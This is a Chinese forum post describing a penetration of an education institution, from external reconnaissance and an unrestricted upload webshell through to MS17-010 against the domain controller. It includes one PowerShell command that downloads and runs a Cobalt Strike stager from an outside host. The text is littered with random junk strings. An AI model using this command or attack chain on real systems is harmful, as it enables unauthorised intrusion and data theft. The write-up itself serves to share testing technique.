找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2702|回复: 0

渗透实战 | 从外网直接打到内网全过程

[复制链接]
发表于 2024-3-1 19:41:32 | 显示全部楼层 |阅读模式

4 S T7 g ]2 \% a6 b 这次渗透是一个从01,从外网到拿下域控的实战过程,希望可以给大家一些思路 9 L, R" _/ ^5 L/ g E6 q- U

+ R! `4 l% F) a! n8 P u5 b

. B& z# z4 B4 l( R% Q) T' _6 `& |  1 S4 W! ^ r/ j% }: g% q. @

; g: p+ G9 v2 y5 E) W6 V1 k( V! h

9 Q% `5 L M4 y* M. j7 ?( N 正文 3 r4 ]! x4 G1 ~0 L9 X0 u2 D' e

' @' U7 q# P& V, \' R) ?3 H+ w7 m

9 K1 O8 T9 ]* S4 s$ ?+ k$ T   & F, o Y Q9 E2 o: m9 o8 v

; d, x: z) M6 z' I$ F1 s

; ~5 ?/ y7 ?! @/ N: r0 e; r! f! e 目标:www.xxxx.com(一家教育机构)
9 U. D6 v, M* s9 j2 w
打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能
1 |, M6 J) |# D! I: g6 B6 M

* Z( N( I5 a6 e4 x- H3 ]1 h, W

) Q0 T& _* Y5 t% d7 B" @% P [ vshapes=4 q8 f7 `/ @* L, A, T/ \

4 l1 @6 Z) v% l& n4 i/ b" k5 |4 e

3 k U) d' @+ g' C 进行了简单的信息搜集
) q2 ^& }* e4 j4 Q F
2 b$ p* R; Z$ @. [& p
% u$ D0 x! m1 E- ~

# E5 a. u0 O! a: i

+ ^2 ~( J2 m9 ^ `6 i/ s 子域名搜集 2 b) W* s2 }$ G

7 f5 J0 d: F1 n' H( l6 a

! ]7 G4 K% q# P( V" ?2 m$ l vshapes=# K4 V( X3 a- a; i2 S

9 [5 q4 f: X- X) \' V: t

. A- t1 f7 ~7 V+ I$ D fofa找资产
# I, ?; M$ l* F h
1 @: j) P x* }4 x1 Q$ C: G ?% H
/ B h2 G. F% M2 Q* L7 R2 d, A

4 i+ }& M$ x% {0 m

" K. r2 [7 q$ H& K7 q vshapes=' Z' O4 L, r6 H$ }

: n Y9 g& g, F( D; h7 v3 w

8 D* M5 G& T4 k* X% c- V0 X 一共七个资产。去重之后只有两个。
7 O. Y& _" {& O2 h
/ e3 H4 Y9 {+ Y/ m7 J' V
5 [ w% ?: A! G( X1 P

' t* k5 P9 Z" g% X d# g

A- x" D& c, }7 T+ O 目录探测! t6 L$ `/ Z9 V- F6 O9 _! ?

) f7 L3 A( W5 {! ?* D

. ~4 F" o+ r: E5 X: Z; F8 v3 H vshapes=9 ^% R2 v" N4 N& O4 m; q, L

9 `2 a+ x6 \: \( q0 J/ q

4 @2 w! q/ I0 G$ q1 l4 j; E, m 我尝试了暴力枚举,看有没有弱口令之类的,然而并没有
2 L: V* R) Y8 T
- G s3 z' Z4 p# T
. R/ s" D& N5 ] X& O9 @

4 q0 [$ d( H7 O7 [! f

2 ?+ U8 `8 S, Y9 q, C7 X( v, X 我又尝试了通过修改返回包来绕过登录界面 2 b( b) _+ \$ [) F b" c

5 m$ o+ C" _# |0 ?

: Q! \) L5 n; l vshapes=" _- ^+ R0 u* N& v! E; ]) W

; I/ e2 x8 k+ L# e9 u* x6 o6 v

/ u* l( ~+ q6 Z k* k 还是不行,尝试注入无果2 c. e9 s7 K' W) x% w$ M

k' G$ g( Z1 H

8 T4 Q2 [) }" P5 T; t0 G* q vshapes=6 c/ M$ ?1 ]- K

& `: \! V* i- G/ Z! F$ b+ |, N5 n

. X& {/ Y, L9 ^" {# D6 j6 _( D 不过我目录探测出了一处Spring信息泄露
* l6 J; Q# n& S& X" ?$ i3 p
$ r. l" ]# x, q% `+ T
9 a0 t9 a2 A: F' \8 j4 o' n

+ Z, E* l1 v7 ~; D |

0 S* C! a& B* c vshapes= $ @: J7 j: N5 |9 @" _0 G

1 v$ Q G9 z5 r3 ~4 k) r* z. p

5 D( C/ C9 ~5 s" \5 e; H0 x' _ 尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录 5 G$ J! [, ]6 ^, V6 Z$ f' O/ \- L

9 G* v1 ?% _/ Z

" U& K# T* D5 d; e vshapes=* x" T3 N1 Z: T, l/ C1 I

0 M3 P/ A* r7 u! I2 _

# j1 c1 S2 e M3 X' f, \ 后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。 ]1 N: S( ^/ [* A1 P! E4 j' x

- ?% H- Y8 j4 ^ S; B! G7 ?( `

* v) L5 U8 v4 D- n/ O3 \. X- M vshapes= ; M' B/ ^- L% L$ J) G/ W

# D) G9 _) a- h* ]

/ w2 b x# m5 R 获取有些师傅到这一步就手机抓包电脑测了。) k9 q5 N) t' O* n9 \

* i8 v# `- Z6 ?: y# ~8 ~5 j

" s6 U' H$ ~ R Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。2 G' m3 F4 T, N) g

$ n {% f0 g' L

1 V; T- L6 Q p 其中在一个公众号发现了小程序,可以进行注册。 5 ~; e2 ]: `# X ^1 Z

& B8 K" s5 A9 d" g$ g- L

1 r0 H! m F0 F1 r7 f$ Q$ | 看到了头像上传,尝试上传获取WebShell/ o( d- r. W4 i

" H; Z, z+ L2 J& h

' J- W, s6 B) i/ ^& l; g( D vshapes= 4 _ H- s% V: \7 |7 Q" M8 x8 T

* V$ J1 M: h% x2 o' _: K. a

6 r! w0 C! |) g+ h8 o7 I 未做任何限制成功GetShell,上了冰蝎马,目录没权限访问2 X, w/ ^: n* J( k* K

: U0 u3 ~8 r: @4 q' P/ g

- e' B9 b/ Q+ v0 G8 h4 {: i& [6 U vshapes=; ^9 }$ c# H3 i

" X6 r+ t Q8 w6 Z& E4 s) Y

% I6 x4 Y( R7 L3 E- \ 然后上了大马 2 R3 P0 [, s4 R1 _3 p

9 o! f, F8 H0 g

7 d! W9 O2 ~% @ vshapes=! b) I! Z9 H/ q$ E( s3 O

2 @! y s' o# M- B% w

( c$ ^& Q4 [5 C vshapes= x8 b# K4 x, i+ q4 L

- Y! b# a) [3 P7 K/ F

9 l4 L. r O4 R 通过翻找文件发现数据库账号密码( X5 g, H, R1 i @4 j0 |! W& }

, F: I9 @6 g' Z+ t v

- A! ~5 w1 ]1 A7 o, Y; T vshapes=! F9 l D" M; m! D# A2 m& h

# {, v2 `! ^' H1 D

2 G3 C7 Z) g, w5 @# g# |) f$ R --内网渗透 ) y. @- p* ]2 y

, T$ b$ O# q8 M/ S8 @& i

: ^# r8 _7 z$ H% v6 n" R 直接通过powershell执行 cs上线 + l7 } w! R; L2 z, S

# K$ B/ T) R" j

. z5 o: \" w7 s; _ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))"6 F$ m0 y) y* Q* p; U9 r8 @

0 a) o$ j7 w D3 v

- d$ \2 E7 R. {, w, O: S- k vshapes= 4 v, H D3 |' a

5 K7 F% Q( G% @: b( N7 Y* A% b* a

. l& B/ B3 y( v: ~+ | y V! P 进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破 i/ w! a* H6 s0 ]2 r* u

. T4 L+ L/ r& T" t

; Z/ A6 K! j& b vshapes=7 C1 S! U: ]! N( O* w" N8 _

5 E0 d5 d. ^6 H6 q: d* N u: g

1 W+ M- u. `" m9 D 登录爆破出来的服务器,发现多网卡且存在逻辑隔离。
/ I0 j4 C2 j. I }& ^. O
7 I( M6 D" U; X* N+ R
$ m% f% B$ ]9 `" v9 c
/ P7 X9 R8 e( Z- q

9 ^$ Z( p$ v1 H

# r4 |( S5 }/ [5 U$ @ vshapes=, w5 Q- W. H* j' L$ B/ T

" u3 ?; d) ^& G5 d1 ]( D& O' _' H# f" z

" i; k/ q7 `6 u# ]8 s0 I% W 通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭
4 Z% G. j3 P K7 V% S: w
+ v8 }8 i% o' ?5 o/ ]- o3 @9 n
* l6 p: P$ ?% g6 M0 q( }! e9 d

+ x( J) p% T* E2 ?

2 F+ s. a2 R% w: D9 N2 v vshapes=; _+ _4 P/ i1 e- z

" T$ R. [) r7 L2 }& f ^

. M& x0 }, y* R' l
/ ]- P* b6 f$ p" r& S
# \9 h, O2 z) H. U, u' D
. x3 e7 A$ I' P: f1 V, s

j8 c N5 ~3 N6 l5 u, }8 [* a

. W- w' M) F( n8 Y  1 P/ r; t6 Z6 B

4 N, ]9 n: D" _0 v

, I( w; D3 b# g: U$ \9 \2 y1 I. e 小结0 L3 b v* V9 Y9 h2 B4 H

" n# u+ F* z0 a) J5 f; s) i

. Z0 R9 h9 T# O, x) d1 A/ T! @$ L  ! r& | C3 z9 D& h

( }( q) K. U, A, N9 I4 J( g; Y

+ J: v- R; T( w7 d/ h; F 在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路!/ s. N" s0 P& \/ L- t6 ]% W

/ z$ ?0 I5 S/ Z' K+ ?% d

: _+ U( e( ?" [5 ~  - W& P3 Y ~( M# E- N1 L& n

( g+ s! v3 p+ q9 @! W
    . T( b' y% ], ]) `; C- K7 b
  • 6 f( e( _' \: b5 m8 ?- {   G2 W2 c" s2 Y/ g
  • * r% i' ` |! ^/ }$ u
  • 5 ^( y6 w2 Y1 d" {. V; [" a   5 @# M' u: M* Z+ j9 t O4 a: b
  • 8 Z9 t( g; j4 _1 K |. v
8 G- R) H, u: J% h

9 Q- `1 M& \$ s, @8 p7 d 作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html ( c! b) n( F/ l- M r

* n" B) _/ r" `% o2 {

. \7 X2 W; N8 y w0 R   9 ~+ r/ u3 P$ L% \1 U. V

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表